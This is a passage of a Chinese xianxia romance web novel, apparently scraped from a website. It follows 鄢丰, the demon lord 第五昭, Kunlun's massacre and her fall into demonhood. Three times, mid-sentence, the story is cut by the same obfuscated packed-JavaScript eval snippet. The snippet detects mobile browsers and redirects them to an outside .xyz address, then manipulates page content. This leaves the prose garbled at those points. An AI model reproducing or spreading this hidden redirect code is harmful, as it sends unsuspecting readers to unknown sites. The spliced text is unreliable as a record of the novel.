第五昭盯着他,半晌轻嗤一声,蒙武却二话不说的站起来,自顾自的走了。 经过他身边,才顿了顿—— “但你我昔日私仇,来日我也必找你了结。” 第五昭笑了一声:“随时奉陪。”扬鞭一抽,马匹受了惊,在并不宽敞的道路上驰骋起来! 回到城主府的时间虽早,然而处理过战后相关事宜,又命人将第五霖与其夫人安葬墓中,夜晚的庆功宴时辰便已到了。 第五昭在人群拥簇中最后看了鄢丰一眼,她却只是笑了笑,似是想起什么,嘴一张一合: “等你回来,有一件事情我要告诉你。” 转过身回到屋里去。 第五昭收回视线,垂眸看着心口起伏的位置。 云消雾散,天幕之上,一轮满月,分外耀眼。 . 庆功宴一直到很晚才结束。 鄢丰坐在床上调息,重铸道心并非一件容易的事情,即便此刻几乎已成,却仍能看到丝丝缕缕的裂缝在其中。 这需要时间,和机缘不断被弥补。 半晌,她终于长出一口气,睁开眼,吹灭灯烛,和衣而眠。 “哐——!” 漆黑、寂静被一声门响打破,鄢丰猛地坐起身,铺面而来一股浓烈的酒气,紧接着是温热的气息混杂着些许的血腥气。 “鄢……丰。” 浓稠的血将她单薄的白色里衣染红,扩散出一块暗色印记。 第五昭声音颤抖低沉,咚一声倒在床边。 鄢丰心下一惊,窗外月华适时的笼罩进来,微微照亮他一侧发末,卷翘的睫毛在脸上打出淡淡的阴影,竟多出几分洁净来。 满月高悬。 鄢丰急急起身,将已然昏死的第五昭安顿在床上,再一次点燃灯烛。 柔和的灯光将他毫无血色的脸照得增添几分暖意,他胸口上下起伏,心跳声剧烈,手指长出长指甲,手腕上一道道触目惊心的红痕仍然渗出鲜血来。 他发出声低吟来,蓦地睁开眼睛,方才的虚弱竟一扫而空,此刻炽红的眼睛死死盯住眼前的猎物。 鄢丰拔出剑,他却速度极快,已然从床上弹起来,伸出獠牙,一口咬在她脖颈一侧。 鄢丰紧握着剑的手送了开来,血几乎喷涌而出,而后尽数被对方吸食殆尽。 心跳微微一滞,月色、灯火交相辉映,垂下眼睛,入目的竟只有漂浮在空中如星子般的微尘。 放在一侧的手慢慢抬起来,虚虚搭在他的后背,星子随风四散,分明微不足道之物,却似一片羽、一只蝶,轻盈的飞掠过湖水,荡起一圈几不可察的波澜,却让人忍不住连呼吸都放缓片刻。 她几乎能够体察到第五昭呼吸的热度,眨眼时睫毛在颈侧带起的痒意,和丝丝恬淡的酒气。红色的眼睛将她皮肤都映出些许艳色。 半晌,鄢丰才回过神来,叹一口气,感受到对方变得柔和些许的呼吸,抬起左手,绕过两人心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557279|171331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与心的罅隙,准确的、轻柔的覆上他困倦、迷茫的眼睛。 “……睡吧,阿昭。” . 处理过新垣城的事宜,鄢丰便同第五昭回到了魔宫之中。 只是城主已死,便暂时留下了温石让他暂且代理,最终回到这里的便只有两个人。 鄢丰回到屋里收拾了一番,正要出门,却正撞上门口的第五昭。 “阿昭,我正要找你。” 第五昭蹙起眉:“这个木屋太破了,我让阿浮为你另找一间……” 鄢丰摇摇头:“不必了。” 第五昭这才注意到她身上拿着的行囊,脸色一沉:“你要走?” 鄢丰想了想:“在魔域呆的时间太久,我也该回昆仑瞧一瞧。” “你不是已经被逐出师门了么?” 鄢丰笑而不答,剑嗡鸣一声,她已然站在剑上。 “你……什么时候回来?” 然而她已然走远,第五昭望着她很快消失不见的背影,半晌才回过神,自嘲的笑了一声,头也不回的离开了这个简陋的木屋。 . 阴阳家。 衡枢似乎早料到此刻鄢丰的造访,今日黑纱覆眼,闲闲坐在院中石桌前,喝了口茶。 “鄢道友来了。” 鄢丰坐在他对面的凳子上:“既然上回是你告诉我,第五昭的心脏的下落,那你一定知道,再一次到失落之地的办法。” “当然。不过,”衡枢漫不经心的敲了敲桌上的棋盘,“我为什么,一而再,再而三的,帮助一个魔?” “是帮我。当日是你亲口许的诺。”鄢丰想了想,道,“那日在失落之地,守门的人说我与他皆是有缘之人。……如今想来,与我的因果,也便是年年的魂魄。” “不错。”衡枢点点头,“不过,她骗了你们。” “骗?” 衡枢却不再说下去,片刻之间,黑纱颜色变得更深了起来,淡淡的血腥味弥漫开来。 他忽然道:“有件事情,我好奇得很。你告诉我,我便告诉你去那里的办法。” “什么?” “也没什么,只是此行也算不上轻松,你既然为了第五昭的心脏而行,”衡枢悠悠道,“为什么不告诉他?” 鄢丰耸肩,笑道:“没影的事,何必先说出口?” “这样。” 衡枢笑了一声,顿了顿,娓娓道:“这失落之地的主人,是万年前的一位散仙。不过,在人间,他有个更响亮的名字——剑仙李微雨。” “是他?”鄢丰眼神一亮,随即又很快暗淡下去,“可惜,斯人已逝。” 衡枢笑了一声:“未必。只是那失落之地的来历可没有那么多弯弯绕,”他转向鄢丰,分明遮住双目,却让人无端感到被紧盯着一般,“它在虚空之间,那是因为,有人一剑,可破虚空。” 鄢丰饶有兴致:“这么说……” “少主,寒食节的酒我们已经备好了,不知……” 几个粉衣少女盈盈而来,发现自己莽撞的打断两人的对话,忙捂住嘴,行礼道:“不知鄢姑娘在此……” 鄢丰反而一愣:“寒食节?” “是啊,”衡枢并不看那几名少女,“鄢道友在魔域时日久了,当是忘了罢。” 鄢丰却站了起来。 衡枢奇道:“这便去了?” 鄢丰脚步顿了顿:“……再劳你等我一日。我突然想起,”她抬起头,望向看不到尽头的天际,“有一件事情,忘了做。” . 29. 余烬(下) . 魔宫终于在平定叛乱之后恢复了往日的喧嚣与繁华。 身穿黑色长裙的少女端着一碟精致的糕点,推开门,走进了宫殿。 殿中燃烧终年不灭的灯火,透过这缝隙流泻,将被枯木的枝叶遮蔽的、如一张黑色的网一般的天幕,微微照亮。 第五昭垂眸,看向面前放着的点心,半晌朝着侍女挥挥手。 他手掌的伤还没好全,还包扎着白色的布料,手指捻起盘中的一块糕点,拿在面前,却没有吃。这糕点分外酥软,糕点屑点点碎星般掉在碟中。 殿门却缓缓开了一个缝隙,将一阵风带了进来,吹起他额前一缕碎发。 第五昭有所感的抬起头,蹙眉看向门的方向:“你……”不经意间同风尘仆仆的鄢丰四目相对,到嘴边的话变了变,他低下头,硬邦邦道,“你不是走了吗?” 鄢丰这才推门走了进来,怀中抱着一坛酒,与她腰间的玉佩相鸣发出清脆悦耳的响声。 她显然是很匆忙的回到这里的。脸上身上都沾了点灰尘,像是一个经年旅行在沙漠中的,行色匆匆的商旅,头发也有些散了,分出几缕来衬在颊边,少了点利落,多了些柔顺来。 鄢丰抱着酒,两手捧住它,似是献宝一般:“这是我们凡间的桂花酒。” 第五昭一愣,捏紧手中的点心,下意识咬了一口。 独特的香气裹挟着味觉和嗅觉,随着她将封盖打开的瞬间盈满整个宫殿。 “……桂花?” “是啊,快要到了凡间的寒食节,想来等我回来便差不多了。”鄢丰笑了笑,晃晃酒坛子,“所以,我想这在你这里埋一坛酒,待到我回来,我们一同饮春酒。” 第五昭呆滞的望着她,味蕾弥漫开桂花的香甜味,半晌才问道:“寒食节?” “是啊,寒食节。这一天呢,在清明节前一二日。人间禁烟火,只吃冷食。可是也有寒食粥、寒食面,春酒、新茶……” “以前在我的师门呢,每到寒食节,也都会摆上数坛桂花酿,我们师门几个人一起,喝个痛快。”她眸光上扬,全然沉浸在想象当中,“等到之后的清明节,我们还可以一起去祭拜年年。” 他怔怔地听着,沉静的嗓音在空荡冷清的宫殿里发出回声来,环绕在耳边,同甘甜的香气交缠在一起,变得模糊起来,却只有桂花久久不散,愈发浓醇的味道,竟更加清晰起来。 “……那如果,到了那一天,你没回来怎么办?” 鄢丰笑了笑:“发酵更久的酒,也更好喝。” 鄢丰转过身,一边走一边说:“那我就埋在我宫殿外面最大的那棵树下面,怎么样?” 她最后看了他一眼,第五昭还是沉默的盯着她,没有答话。 鄢丰停了下来,对视片刻,仰起脸笑了一下:“阿昭,我肯定会回来的,很快。” 直到沉重的大门再次被关上,隔绝了门外一阵春风,第五昭才如梦方醒: “那我等你回来。” . 所谓天上一日,人间一年。 在失落之地流逝缓慢的时间,在虚空界外的世界却不然。 清明时节雨纷纷,阴雨连绵,闷雷阵阵,此刻还不厌其烦地传来。 第五昭烦躁的坐在主座上,手中的黄历撕了个粉碎,如雪般的飞屑落在他发间。 半晌,他突然死死盯住门的方向。 门竟真的下一刻开了个缝隙,第五昭一动,却见温石抱拳在他面前:“君上,属下上回在缝隙里找到的魂魄,今日突然发了狂……” 第五昭却已经站了起来,不理会他的话,如一阵风般,头也不回的快步走了出去。 第五昭没有看到,风从门外吹得桌上薄纸翻了页,黄历颤巍巍落在地上,上书四个字—— 诸事不宜。 他脑中如今只有一件事。 他要去昆仑找她。 分明已经过了寒食节、清明节。 第五昭越过魔域七十二深渊,跨过九千仙阶,直奔昆仑而去。 昆仑山上,果真如她说的那样,已然开了漫山遍野的桂花,如今香飘十里,裹挟着正厅之内的一场密谈—— “鄢丰还在魔域么?” “不日大概便要从失落之地出来了。” “望她此行,能再稳固道心,以免来日献祭出了差错。” “鄢师侄上承掌门遗志,又是天生灵体,倘若她当真能重铸道心……” “衡枢小友,依你看来,最终天罚之下,牺牲她一人,换得天下安宁的几率,有几成?” 平静的男声温润而肯定: “——十成。” 檐上瓦片咣当咣当砸得满地都是,屋内人彼此对视一眼,破门而出: “什么人?!” 第五昭飞身落地,昆仑众人已然将他团团围住! 他沉着脸,眸中忽明忽灭的红,酝酿着一场风雨。 . 与此同时,虚空之中,一道刺目剑光蓦地劈入天光,鄢丰身形一转,稳稳收剑落地。 ——人间竟已过月余。 鄢丰抬起头,似有所感的望向昆仑山的方向。 那一处缭绕的雾气此刻已然全变成了血色,朦朦胧胧,竟还在不断扩散,滔天魔气溢出丝丝缕缕,却逃不过鄢丰的感知。 鄢丰想起离开失落之地前,主人最后对她说的话—— “只是届时,”他意味深长的看着鄢丰,“若他仍然执迷不悟,祸及三界众生,乃至于你的师长挚友……你会不会后悔?” 不祥的预感在心底升起,鄢丰再也顾不得其他,转身就御剑朝向昆仑山而去! ——昆仑,被屠了满门! 昆仑仙山,九千仙阶,往日有青绿色的盎然的青苔攀援,云雾缭绕,若有一场雨,将那些青苔打湿,烟雾落地,连呼吸都是轻盈的。 鄢丰不可置信的望着望不到尽头的长阶,同样望不到尽头的是鲜红鲜红的血,此刻竟如瀑布一般,一滴、一滴,有一滴,顺着流下,覆在那些薄薄的青苔上,悬挂在最后那一级,随风晃动,最终将长靴也染红了一片。 她突然浑身都颤抖起来,心跳一窒,随即很快奔跑起来,越跑越开,越跑越快,道袍逆着风鼓起来,猎猎作响,踏在血铺就的地毯上发出粘腻的声响来,呼吸起起伏伏。 耳边尽是巨大的嗡鸣,震得两耳刺痛,将周围一切事物都模糊处理,只有大片大片的鲜红越来越大,越来越清晰,睁眼闭眼全是触目惊心。 最后她终于停了下来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557280|171331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 身形踉跄一下,终于还是站定,十尺之隔,与他遥遥相望。 第五昭似有所感的,转过头,漠然看向来者。 他此刻独自一人站在院子中央,以他为中心,四周一圈全是尸山血海,只有他站着,黑衣黑发,唯苍白的脸上,涂抹着鲜红的印迹,与那双红眼睛交相辉映,衬得肌肤愈发白,衬得血,愈发红。 鄢丰在一片黑与白的世界里,在一片沉默到只有耳朵轰鸣的世界里,只能瞧见那一抹鲜红,星星点点溅在他右边的脸颊上,竟像是春雪中盛放的红梅,妖冶刺眼。 心魔誓没有发作。 在她望向他这一眼,那道无形之中的契约竟随风而解,第五昭赤红的眼睛里倒映出她的模样,鲜血的香气吸引着他。 沾满鲜血的嘴角诡异的弯了弯,一步一步,朝她走来。 他手中竟还抓着一颗还在扑通跳动的心脏,每一步都踏着满地尸体,踩得骨骼声音咔嚓作响。 鲜血还在不停的从他口中流出,茹毛饮血,却还贪婪如斯,犹自不满足的索取更多、更多,直到再也无人可杀,直到他自身也筋疲力竭,或者—— 鄢丰颤着声音笑了起来,声音越笑越大,笑得血泪也从她眼角滚滚落下。 长剑已然铮鸣着出鞘,她不躲不闪,拿剑指着他,杀气腾腾,一步一步,向他走去。 像是久别重逢的故友,像是依依惜别的恋人,像是寻得梦中人,奔赴彼此的方向。 血泊不断地扩散,地上踩出几个血脚印,鄢丰却突然沉默下来,手却一点、一点,握紧剑。 下一刻,她飞身而上,速度比他更快,再不犹豫,剑铮铮而鸣,刺入了第五昭的心脏! 第五昭眼珠动了动,呆立在原地,眸中血色渐渐褪去,忽地显现出几分茫然来,无措的瞧着她。 片刻之后,砰然倒地! 鄢丰脱力的倒在地上,鲜血蔓延,将道袍染得不成样子。 入目皆是血色,她昏昏沉沉的,躺在血泊之中,好像自己也是随着昆仑灭门而死去的一个普通弟子一般,随他们而逝。 七窍都流出鲜血来,滚烫滚烫,将地上的血迹生生烫出一个洞来,愈发鲜红艳丽。 她微微张着嘴,眼泪源源不断,好像失了声一般,口中只能发出低低的,如兽一般的,颤抖断续的呜咽声。 “啊……啊啊啊……啊——” 灵台染血,道心再裂,可是记忆却不依不饶的反复闪现。 从第一次向师父敬茶,行拜师礼,下山历练,到师姐的死,和……此刻仍埋在魔域的枯树之下的,那一坛桂花酿。 “哈……哈哈哈哈哈……哈哈哈哈……哈哈哈哈哈哈哈哈哈哈哈!” 鄢丰忽而低低笑起来,望着第五昭倒下的位置发出的,源自于传送法术的耀眼光芒,似乎想起极好笑的事情来,不可抑制般仰天大笑。 她想,她在拒绝了仙人的交易,离开失落之地那时,是对他那句话,做了什么回答来着? 鄢丰颤声笑着,肩膀都在抖动。 鲜血帘幕般遮住她的面容,竟显出几分狰狞来。 她终于想起她临走前,向那位剑仙,讲的那个天大的笑话—— “我相信他……不会的。” . 30. 断念(上) . 罕见的一轮血月高悬天空,野禽嚎叫着,寻找着猎物。 寒夜的风还很凉,发丝穿过空气一声一声振动着,绵延不绝。 唯有昆仑山脚下这座村庄,一夜之间空无一人,却始终闪着红色的火光。 “快跑!” 粗布麻衣的少女趔趄一下,又很快被身后的同伴拉起来:“快跑!!快跑啊——她、她要来了!!” “她、她不是昆仑的……” “哎别管那么多啦……疯了!都疯了!快跑!她会杀了我们的!!” 修长的剑照出耀眼的银光,女子一袭道袍此刻已然被染成血色,一步一步从火光中走出。 毫发无损。 她偏过脑袋,骨骼发出嘎吱的轻响,冰冷的剑光瞬间笼罩整个天地,将身后那熊熊火苗活烧出一个空洞来,好像一双无神的眼睛,和那女子大而空洞的眼神交相辉映,对上停在她面前的一名少女。 “姐姐、鄢丰姐姐,是我,是我呀,我是妙妙呀,你救过——” “嗤!” 女子听到她说话却很费解,麻木的抬起手臂,剑穿心而过,少女不可置信的睁大眼睛,汩汩鲜血不断流出,她恐惧、憎恶、怀疑、悔恨的望着她,最终倾颓的倒在地上—— 死不瞑目。 “风、雷、电、雨、雪,急急如律令!” 五道黄色符纸横空飞出,一群穿着白色道袍的少年将女子围起来,霎时间天地变色,完满的血月被乌云层层遮起,雷风电破空而起,将那群少年道袍后龙飞凤舞的“罗”字照得清清楚楚。 少年们面色凝重的望着那女子,她脸上攀附着密密麻麻的魔纹,触目惊心,任谁看了都会不自觉哆嗦起来。 “其他的人很快会来支援,我们只要再坚持一柱香的时间!” “吴师弟!” 他们彼此望了一眼,点点头,口中念起咒来。 被围在中间的鄢丰面无表情的看着这些年轻的生命,肩膀耸动了一下,举起了那把昔日的,君子之剑。 在场的所有人都被那剑光晃得睁不开眼,匆忙之间少年们只来得及看清鄢丰那双已经全被血色侵袭的眼睛,和她眼中倒映出的,自己恐惧而扭曲的模样—— 而这无际崖的血色之夜,不过刚掀开黑色的帷幕。 . 鄢丰觉得很疲惫。 自那一日起,她便好像一直睡着,又好像一直醒着,有一个人拥抱着她,她长着一张和她一样的脸,朝她咧着嘴巴笑,在她耳边说: “鄢丰,恨吗?” “为他们报仇吧,鄢丰。” “杀了他们,把他们都杀死——” 她好像知道那是什么,但又好像不知道。 她那时候唯一知道的一件事就是,“她”是那个时候,唯一一个拥抱着她,温暖着她,陪伴着她的人。 她握着剑,似乎像走遍了这个世界上每一片土地那样远。她麻木的抬起手臂,即使肌肤都已经僵硬生锈,也还是抬起手,无数次出剑、收剑,无数次握住剑,直到再也没有力气。 终于可以好好睡上一觉了,她想。 她后来是被甘镬剑的悲鸣声唤醒的。 过了多久呢? 鄢丰睁开眼睛,入目只有一片鲜红。 “你再晚一刻清醒过来,我就要杀了你了——鄢、道、友。” 鄢丰迷茫的看着四周。脚下法阵闪烁着微弱的红光,而她正站在中央,周围无数修为高深的人将她围在中间,警惕的看着她的一举一动。 鄢丰却没有多余的表情,听到这话也只是麻木的转过头,看着衡枢,他今日用了白纱遮眼,即使在夜里,也仍然能看到鲜血不断渗出,几乎将整个白纱都浸透个彻底。 四目相对,鄢丰张了张口,嘴唇干涩,半天才发出声音,突兀的笑了一声,缓慢的说:“…你杀得了我吗。” 掷地有声,如同石子在平静的水面荡起涟漪,一层一层,久久不停,四周的人听到她的话立刻戒备起来,长剑短刀雪亮雪亮,晃得人眼生疼。 “鄢道友,我杀不了你,”衡枢也笑,抬起头看着风云色变的天际,雷鸣电闪,将黑夜照得如同白昼,照得鄢丰苍白的脸更加阴冷,半天衡枢才说道,“我们杀不了你,但天道可以。” 鄢丰低下头,看到眼前死不瞑目的尸体已经堆成小山横亘在两人之间,睫毛一颤,下意识后退了一步,剑桄榔一声落在地上,雷鸣声更大,鄢丰低着头半天也没有言语,半晌抬起头,说:“……用不着天道,如今已经彻底入魔的我,你们也唯有杀之后快了。” “鄢丰,”衡枢幽幽叹了口气,目光一转不再看她,声音平静,道,“你去失落之地那些日子,阴阳家上下都在为了令妹转生一事奔波。衡枢虽然向鄢道友许了诺,但将已经残碎的魂魄修补好再送归冥府,也不是什么容易的事情。逆天而行,是我阴阳家上下替你受了这业果。” 鄢丰眼神动了动,手握成拳:“所有的事情都是我做下的,但是鄢年,从头到尾,都是无辜的。” 衡枢却不接话,接着道:“昆仑灭门之后,你神智不清,整个昆仑山的尸首也都是罗掌门带着打点。昆仑山下的山村也都是罗棋宗弟子守着他们不受魔物精怪侵扰。” 鄢丰看清面前尸首的模样,血泪从眼中流下。可她本人仍是没有任何表情,好像戴了张面具一般,无端让人感到悚然。 “还有魔域那边,魔君第五昭犯下这等恶行,我们已经向魔域彻底宣了战,要为昆仑和死去的弟子——” “不必再说了,衡枢……一切因果皆由我起,事已至此,你们杀了我便是。” “我说了这么多,到底这就是你的回答吗,鄢道友?”衡枢抬起手扯下被血全然浸透的白布,露出一双血肉模糊的眼睛,直直与她对视。 “你还想我说什么?!”鄢丰却突然嘶哑着声音大声说,“……我只有一条命,还不上我犯下的所有罪行,我知道——但你还想我说什么,做什么?!” “‘你永远是昆仑的骄傲’。…道人归去前对你说的话,你可还记得?”衡枢抬眸看着她,顿了顿道,“鄢道友,我想要你亲口告诉我,即使如今已然堕入魔道,道心全损,功力不再,你当日之心,可还依旧?” 鄢丰深深看了他一眼,久久无言。 所有人都殷切期许的看着鄢丰,不放过她任何一个表情动作。但她就那样僵直的站着,什么也不说,什么也不做。 半晌,她终于动了动眼神,似乎有所动容般抬起头,看着衡枢的眼睛,迎着那些殷切的眼神,笑了起来—— “不。” 话音掷地的下一刻,天字杀阵光芒大盛,猩红的光照彻阴云笼罩的长夜,罡风四起,将在场所有人的衣袍都吹得鼓起来,一时之间谁也不曾开口说一句话,只有一朵血花突兀的绽放在阵法中央,鄢丰七窍都流出鲜血来,滴答滴答黏稠的血落在地上,时间突然变得很慢很长。 分明是夜色之中,分明鲜血与疼痛,魔性与仇恨如雾障一般时时刻刻笼罩在她身边,鄢丰却觉得这一切都变得很远,目之所及只有耀眼的白色光芒,无论前进、后退,伸出手还是握成拳,都再没有其他的东西存在。 她突然惊慌起来,她要死了,她应该想起师父,想起师姐,想起鄢年,想起他们说的死前该有的回忆,可是无论如何想要拨开眼前的空白都无济于事,什么也没出现。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557281|171331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浑身颤抖起来,突然心口钻心的痛起来,她看到那些不知在何时便已狠狠扎根心上,扒着血管生拉硬拽,喝下她心头所有的热血,最终成长为参天大树的名为责任的东西,它们取代了她的心和血,成为了她世界当中唯一的存在。此刻被连根拔起,也带着模糊血肉,支离破碎,该觉得轻松吗?可是除了痛还是痛,压在心上的东西被剥离开了,她却下意识的伸出手去,想将哪怕只是残毁的一点也留下来,哪怕只留一点下来——否则这样的话—— ——这样的话,我的世界,还剩下什么呢? “啊……啊啊……啊啊啊——!” 她好像回到初生的日子,咿咿呀呀只能本能的发出某种声音,痛苦、懵懂、无意识、兽性的声音,她捂住心口,想那愈发鲜活的痛快些结束,可是因为入魔而长得很长的指甲却不留情面的刺破心口的皮肤,让鲜血更加痛快的流出来,让那痛、那永无止境的惩罚更痛,更深,更久,最好永远不再结束,哪怕肉身已死,也该化作地狱的业火,将她的灵魂,灼烧、炙烤,折磨,永无止境的折磨—— 鲜血越来越多,逆流而上,在半空之中竟开出一朵玫色的烂漫的花朵来,鄢丰失力的倒在地上,看着满目的红色,突然仰天笑了起来。 “哈哈哈哈哈哈!哈哈哈哈哈哈哈哈哈哈!哈哈哈哈哈哈……哈哈哈哈哈——” 雷电仍然不停的威逼,她却还在笑着,笑到泪水滚烫滚烫的从眼眶流下,笑到再也发不出声音,她于是终于感到疲惫的闭上眼睛,刺目的光芒很快消弭,她慢慢的松开紧握的拳头,什么声音也听不到了,时间就在此刻静止下来,鄢丰看到自己站在一片黑暗之中,前进或后退,都没有尽头。 她茫然的,麻木的看着,看着这无边的绝对之黑,突然尝到一颗苦涩的泪水。 她不知道在这无边无际没有停止的寂静与黑暗中待了多久,终于爆发出巨大的悲鸣,嚎啕大哭起来,眼泪喷涌而出,她浑身都颤栗着,麻木的表情被皱紧的眉和颤抖的睫毛取而代之,她蹲下身子,屈起膝盖,将头埋进膝盖里,像个婴儿一样,又如此悲伤、如此大声的哭泣着,久久的哭泣着。 她想,原来—— 原来、原来、原来…… 心中原来是一片荒芜。 既无盛放的花束,也无成河的尸骸。 只是一片荒原,再也生发不出任何与“生”有关的东西,唯有流沙飞逝消散,直到并入虚无…… “——诸位道友手下留情!” 鄢丰已经奄奄一息了,她疲惫的掀开眼皮,只见一道剑气划破长空,从天而降,竟直接将这由七七四十九名绝世高手所布杀阵劈了个粉碎。 周围人无不大惊失色:“什么人?!” “报上名来!” “失落之地,李微雨,有礼了。” 声音不知从何处而来,直贯穿天地之间,清楚而洪亮的传入每个人耳中。 “李微雨?!” “就是那个传说中,一剑劈开虚空的剑仙李微雨?!” “……剑仙,实在当之有愧。只是,既然诸位知我名号,不知可否手下留情?吾不日前与这位鄢小友做了个赌约,她应了吾一件事,如今结果已出,鄢小友,也到了兑现承诺的时候了。” “赌约?” 那声音却不再传来,下一刻狂风骤起,风沙滚滚,遮住所有人的视线,很快只听一声朗笑—— “这般文绉绉的话,老子真是说烦了!管你们答不答应,人,老子这就先借走了!哈哈哈哈哈!” 话音刚落,风也停了下来,原本阵法中央的人,已然不见了踪影。 唯有一滩血迹,昭示着不久前发生过的事。 . 31. 断念(下) . 三两云雾缭绕,青碧茶香扑面而来,温热而柔暖的气息将鄢丰从睡梦中唤醒。 鄢丰却无端打了个哆嗦,下意识摸了摸脸颊。 温热的水汽颗颗粒粒的散开,在脸上鼻尖上留下浅而轻盈的水渍,手一拂过便很快飞散。 想像中血液黏腻的质感并没有触及指尖,鄢丰茫然的坐起身,后知后觉的发现身上的衣裳也变得干爽洁净,身上的皮肤也干燥舒适。 目光流转,对上石桌边坐着的清冷女子的目光。女子看了她一眼,轻啜一口茶,才缓慢开口:“你醒了。” 鄢丰还来不及回答,清漱话音甫一落地,她身后那石鹿雕像却先动了起来。 片刻之后,一个白衣白发的青年摇身一变,手中还做作的拿着把折扇,笑眯眯的看着鄢丰:“又见面了,鄢小友。” 正是传说中的剑仙,李微雨。 鄢丰看了他一眼:“晚辈不曾记得,何时与前辈有过赌约。” “哈哈哈……”李微雨闻言笑了一声,“鄢小友,莫非事到如今,也仍然不肯帮我这个忙?” 鄢丰不语,倒是清漱看着她脸上再次若隐若现的魔纹,极轻的哂笑了一声:“呵,”玉镯轻碰瓷杯发出刺耳的响声,“吾早便告诉你了,对不必要的家伙心慈手软,你会后悔。” 鄢丰还是沉默,却更低的低下头,垂着眼睛只能看到睫毛轻轻翕动的频率。 相顾无言,一时之间这夹缝之间的土地再一次陷入诡异的寂静。 清漱不以为意,仍漫不经心的左看右看,不时喝一口茶,好像这种气氛与她无干一般。而李微雨则是不住笑着,始终看着鄢丰,也没有要开口的意思。 但是很快这种寂静就被打破了,“噹——”一声长剑出鞘,泠泠剑光甚或比日光还晃人眼,在空中划出一道冷然的弧光,打了一转后很快不偏不倚的指向了李微雨咽喉的位置。 后者见到这场面却动也不动,好像什么也没发生似的仍然笑着看她。反而清漱柳眉倒竖起来,大声喝道:“你这发的什么疯?!”手下毫不停顿泛起蓝色光芒,阴阳八卦阵瞬息结印,朝着鄢丰的方向发动! “清漱!” 李微雨还是笑着,抬起手在那发印前挡了一下,那法阵便瞬间熄了火,如火焰余烬般悻悻落地。 “…你早就知道。” 鄢丰根本不管任何横生之节,缓慢的抬起眼睛,鲜红的血泪从她眼眶慢慢流下,漆黑无光的瞳仁自下向上看着李微雨。 她浑身都在颤抖。 雪亮剑锋甩出凌厉的剑光,却毫不动摇的横亘在李微雨颈边。 红血丝像一张张无形的网,网住鄢丰黑色的瞳仁,她手紧紧握住剑,尖利的指甲几乎将手掌都掐的血肉模糊,颤声重复道:“……你们早就知道。” 李微雨看着那道干脆利落剑气几乎化作实体在眼前荡出一圈无形的涟漪,竟不误赞许的展开折扇,尔后不置可否的看向鄢丰,眼神却跃跃欲试的模样:“鄢小友,上次一战,意犹未尽。” 话音刚落,他手中那把展开的折扇便似听到号令一般,十六根修长的扇骨,一节一节拼出一把剑来,盈盈白光笼罩住洁白无暇的剑身,如雪的剑气将周遭温度都降低大半,犹自茶杯中升起的水汽瞬息蒸发。 “锵!” 金石相鸣,强大的剑气将鄢丰逼的后退数十步。 李微雨却不再出招,只是兀自摇摇头:“鄢小友,你这一剑,比你十七岁时,可还能称得上强?” 鄢丰擦去唇边的血,魔纹已淡去大半。 她移开目光,半晌淡淡道:“比不上又如何?” 李微雨闻言叹口气,只道:“即使事到如今,鄢小友也仍然不肯帮忙?”顿了顿,又道,“……你若当面下不去手,毁了他的心脏,不多时他也自会——灰飞烟灭。” 鄢丰此刻终于冷静下来些,沉默着转过身,半晌说:“……此行之后,鄢丰恐怕也再见不到前辈。那便提前恭祝李前辈和清漱姑娘,从此以后,双宿双飞。” “鄢小友,你神智不清,将昆仑山下村民几乎屠戮殆尽,我知你心中有恨……可连稚子亦知——”李微雨已收了剑,百无聊赖的扇着扇子,目光冷却下来,“冤有头,债有主,谁灭了你昆仑,你就该找谁算账,而非拿你昆仑修行数年所学,尽数指向无辜之人。” 鄢丰听到这里已是脸色苍白,浑身都颤抖起来,剑桄榔一声脱手落地,掷地有声。此刻她眼中仇恨尽数变成茫然—— 他说的对,他说的对…… 冤有头,债有主。 冤有头,债有主—— 可为什么她谁都恨着,却唯独没有想起最该恨的,那一位罪魁祸首呢? 为什么,为什么?为什么?! 李微雨见她如此却是终于笑了。他知她心中已有决断。 眼前万里晴空、高树冉冉霎时之间化作点点飞星——失落之地正在迅速的消失,很快便要重归寂静虚空之中。 “你要做什么?!” 李微雨但笑不语,鄢丰身处天塌地陷之地,却连神色都不曾变过,也不去捡起那把掉在地上的剑,只是问:“前辈今日带鄢丰到这里,到底是为了什么?” “——帮你。” 李微雨意味深长的笑着道,转而转过身,收敛笑意,虔诚无比如同一个信徒般,捧起身旁那名绝色女子无暇如玉般的脸,轻吻了她的额头,尔后又不自觉笑了起来,在下一刻随着清漱的身影一起凭空消散在了虚空之中。 . 鄢丰独自一人走在无边无际的虚空之中,似乎永远也没有尽头。 甘镬剑不断嗡鸣着,一道道剑气划破虚空,看不见也听不见,然而嗅觉却能够正常的运作,以便让她知道自己这一剑又一剑,确确实实斩断了什么。 